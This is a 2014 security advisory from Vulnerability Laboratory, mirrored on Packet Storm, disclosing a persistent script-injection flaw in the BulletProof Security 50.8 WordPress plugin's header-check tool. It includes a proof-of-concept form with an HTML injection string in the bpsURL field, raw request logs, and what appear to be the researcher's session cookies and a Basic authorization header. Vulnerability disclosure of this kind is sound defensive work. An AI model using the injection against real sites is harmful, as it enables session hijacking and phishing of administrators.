WordPress BulletProof Security 50.8 Script Insertion

2014-10-03T00:00:00
ID PACKETSTORM:128555
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2014-10-03T00:00:00

Description

                                        
                                            `Document Title:  
===============  
BulletProof Security Wordpress v50.8 - POST Inject Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1326  
  
  
Release Date:  
=============  
2014-09-30  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1326  
  
  
Common Vulnerability Scoring System:  
====================================  
3.2  
  
  
Product & Service Introduction:  
===============================  
The BulletProof Security Plugin allows you to create and activate .htaccess website security with one-click (figuratively) for   
your website without having to know anything about .htaccess files. The Master .htaccess files are pre-made and BPS writes   
.htaccess code that is customized to each specific website. There is nothing to figure out or to configure. Click the AutoMagic   
buttons (creates customized Master .htaccess files) and Activate BulletProof Modes (copies the customized Master .htaccess files   
to your root and wp-admin folders). BPS has built-in Backup and Restore and an .htaccess File Editor for full manual editing   
control as well. BPS Custom Code allows you to add additional custom .htaccess code or BPS Bonus Custom Code.  
  
- .htaccess Website Security Protection (Firewalls)  
- Login Security & Monitoring  
- DB Backup  
- DB Backup Logging  
- DB Table Prefix Changer  
- Security Logging  
- HTTP Error Logging  
- FrontEnd/BackEnd Maintenance Mode  
- UI Theme Skin Changer  
  
( Copy of the Vendor Homepage: https://wordpress.org/plugins/bulletproof-security/ )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a persistent POST inject web vulnerability in the official Bulletproof Security (BPS) v50.8 Wordpress Plugin.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-09-30: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
AIT-pro  
Product: BPS Wordpress Plugin - Web Application 50.8   
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
An application-side POST inject web vulnerability has been discovered in the official Bulletproof Security (BPS) v50.8 Wordpress Plugin.  
The issue allows remote attackers to inject own malicious persistent script code to the application-side of the vulnerable module.  
  
The vulnerability is located in the bspURL value of the wp_remote_get POST method request in the system-info.php file. Remote attackers can form   
malicious pages to perform application-side executions via POST injection attack. The vulnerability is local and remote exploitable. During the   
testings the researcher discovered that the `Check Headers GET request` and `Check Headers HEAD request` are the vulnerable input fields.  
The execution after the inject occurs in the main system-info.php next to the `Check Website Headers Tool` web context.  
  
The security risk of the persistent POST inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.   
Exploitation of the application-side web vulnerability requires no privileged web-application user account but low or medium user interaction.  
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent external redirect to malicious   
sources and application-side manipulation of affected or connected module context.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] System Info > Check Website Headers Tool  
  
Vulnerable Input(s):  
[+] Check Headers GET request  
[+] Check Headers HEAD request  
  
Vulnerable Parameter(s):  
[+] bspURL (wp_remote_get)  
  
Affected Module(s):  
[+] System Information (system-info.php)  
  
  
Proof of Concept (PoC):  
=======================  
The POST inject web vulnerability can be exploited by local attackers and by remote attackers without privileged application user account   
with low or medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information   
and steps below to continue.  
  
PoC: Exploit (system-info.php)  
  
<form name="bpsHeadersHead" action="admin.php?page=bulletproof-security/admin/system-info/system-info.php" method="post">  
<input id="_wpnonce" name="_wpnonce" value="055c5fd94e" type="hidden"><input name="_wp_http_referer"   
value="/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php" type="hidden">  
<div><label for="bpsHeaders"><strong>Enter a Website URL - Example: http://www.ait-pro.com/</strong></label><br>  
<input name="bpsURL" value="" size="50" type="text"> <br>  
<p class="submit">  
<input name="Submit-Headers-Check-Head" class="bps-blue-button" value="Check Headers HEAD Request"   
onclick="return confirm('This cURL Headers check makes a HEAD Request and you will see HTTP/1.1 403 Forbidden displayed if you are   
blocking HEAD Requests in your BPS root .htaccess file on your website.\n\n-------------------------------------------------------------\n\n  
Use the Check Headers GET Request tool to check your headers using GET instead of HEAD. This tool can also be used to check that your Security   
Log is working correctly and will generate a Security Log entry when you make a HEAD Request using this tool if you are blocking HEAD Requests   
in your BPS root .htaccess file on your website.\n\n-------------------------------------------------------------\n\nClick OK to proceed or   
click Cancel.')" type="submit"></p>  
</div>  
<strong>HEAD Request Headers: </strong>\"><\"<img src="\"x\"">%20%20>\"<iframe src="a">%20<iframe><br><pre></pre></form>  
</td>  
</tr>  
  
  
--- PoC Session Logs [POST] ---  
Status: 200[OK]  
POST http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[7975] Mime Type[text/html]  
Request Header:  
Host[www.vulnerability-db.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php]  
Cookie[wordpress_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C337f4b4aea6a936838444eec20cc4866; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C9c8e4791a37021eef2fd012316bf8fc1; wp-settings-1=m5%3Do%26m9%3Dc%26m6%3Dc%26m4%3Dc%26m3%3Dc%26m2%3Dc%26m1%3Do%26editor%3Dtinymce%26m7%3Dc%26m0%3Dc%26hidetb%3D1%26uploader%3D1%26m8%3Dc%26mfold%3Do%26libraryContent%3Dupload%26ed_size%3D393%26wplink%3D1; wp-settings-time-1=1411734366; aiowps_cookie_test_m2nzcep833=1]  
Authorization[Basic a2V5Z2VuNDQ3OjMyNTg1MjMyNTIzNS4yMTItNTg=]  
Connection[keep-alive]  
Cache-Control[max-age=0]  
POST-Daten:  
_wpnonce[055c5fd94e]  
_wp_http_referer[%2Fdev%2Fwp-admin%2Fadmin.php%3Fpage%3Dbulletproof-security%2Fadmin%2Fsystem-info%2Fsystem-info.php]  
bpsURL[%20[PERSISTENT INJECTED SCRIPT CODE!]%3E]  
Submit-Headers-Check-Head[Check+Headers+HEAD+Request]  
Response Header:  
Server[nginx]  
Date[Fri, 26 Sep 2014 12:41:18 GMT]  
Content-Type[text/html; charset=UTF-8]  
Content-Length[7975]  
Connection[keep-alive]  
Expires[Wed, 11 Jan 1984 05:00:00 GMT]  
Cache-Control[no-cache, must-revalidate, max-age=0]  
Pragma[no-cache]  
X-Frame-Options[SAMEORIGIN]  
X-Powered-By[PleskLin]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
-  
Status: 200[OK]  
GET http://www.vulnerability-db.com/dev/wp-admin/load-styles.php?c=0&dir=ltr&load=dashicons,admin-bar,wp-admin,buttons,wp-auth-check&ver=3.9.1 Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[-1] Mime Type[text/css]  
Request Header:  
Host[www.vulnerability-db.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]  
Accept[text/css,*/*;q=0.1]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php]  
Cookie[wordpress_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C337f4b4aea6a936838444eec20cc4866; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C9c8e4791a37021eef2fd012316bf8fc1; wp-settings-1=m5%3Do%26m9%3Dc%26m6%3Dc%26m4%3Dc%26m3%3Dc%26m2%3Dc%26m1%3Do%26editor%3Dtinymce%26m7%3Dc%26m0%3Dc%26hidetb%3D1%26uploader%3D1%26m8%3Dc%26mfold%3Do%26libraryContent%3Dupload%26ed_size%3D393%26wplink%3D1; wp-settings-time-1=1411734366; aiowps_cookie_test_m2nzcep833=1]  
Authorization[Basic a2V5Z2VuNDQ3OjMyNTg1MjMyNTIzNS4yMTItNTg=]  
Connection[keep-alive]  
Cache-Control[max-age=0]  
Response Header:  
Server[nginx]  
Date[Fri, 26 Sep 2014 12:41:19 GMT]  
Content-Type[text/css; charset=UTF-8]  
Transfer-Encoding[chunked]  
Connection[keep-alive]  
Expires[Sat, 26 Sep 2015 12:41:19 GMT]  
Cache-Control[public, max-age=31536000]  
X-Powered-By[PleskLin]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
-  
Status: 200[OK]   
GET http://www.vulnerability-db.com/dev/wp-admin/%5C%22x%5C%22[PERSISTENT INJECTED SCRIPT CODE!] Load Flags[VALIDATE_ALWAYS ] Größe des Inhalts[557] Mime Type[text/html]  
Request Header:  
Host[www.vulnerability-db.com]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]  
Accept[image/png,image/*;q=0.8,*/*;q=0.5]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://www.vulnerability-db.com/dev/wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php]  
Cookie[wordpress_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C337f4b4aea6a936838444eec20cc4866; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bc813bed717c4ce778c96982590b35f9=VLAB-TEAM%7C1411906048%7C9c8e4791a37021eef2fd012316bf8fc1; wp-settings-1=m5%3Do%26m9%3Dc%26m6%3Dc%26m4%3Dc%26m3%3Dc%26m2%3Dc%26m1%3Do%26editor%3Dtinymce%26m7%3Dc%26m0%3Dc%26hidetb%3D1%26uploader%3D1%26m8%3Dc%26mfold%3Do%26libraryContent%3Dupload%26ed_size%3D393%26wplink%3D1; wp-settings-time-1=1411734366; aiowps_cookie_test_m2nzcep833=1]  
Authorization[Basic a2V5Z2VuNDQ3OjMyNTg1MjMyNTIzNS4yMTItNTg=]  
Connection[keep-alive]  
Response Header:  
Server[nginx]  
Date[Fri, 26 Sep 2014 12:41:20 GMT]  
Content-Type[text/html]  
Content-Length[557]  
Connection[keep-alive]  
Last-Modified[Tue, 14 May 2013 13:05:17 GMT]  
Etag["4ea065b-3c6-4dcad48e5901e"]  
Accept-Ranges[bytes]  
Vary[Accept-Encoding]  
Content-Encoding[gzip]  
X-Powered-By[PleskLin]  
  
  
Reference(s):  
wp-admin/admin.php?page=bulletproof-security/admin/system-info/system-info.php  
/wp-admin/load-styles.php?c=0&dir=ltr&load=dashicons,admin-bar,wp-admin,buttons,wp-auth-check&ver=3.9.1  
/wp-admin/%5C%22x%5C%22[PERSISTENT INJECTED SCRIPT CODE!]  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure encode and parse of the vulnerable bpsURL value.  
Restrict the input and filter wrong context to prevent persistent script code execution with a secure exception-handling.  
  
  
Security Risk:  
==============  
The security risk of the POST inject web vulnerability in the vulnerable bpsURL parameter is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either   
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers   
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even   
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation   
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break   
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]  
  
  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`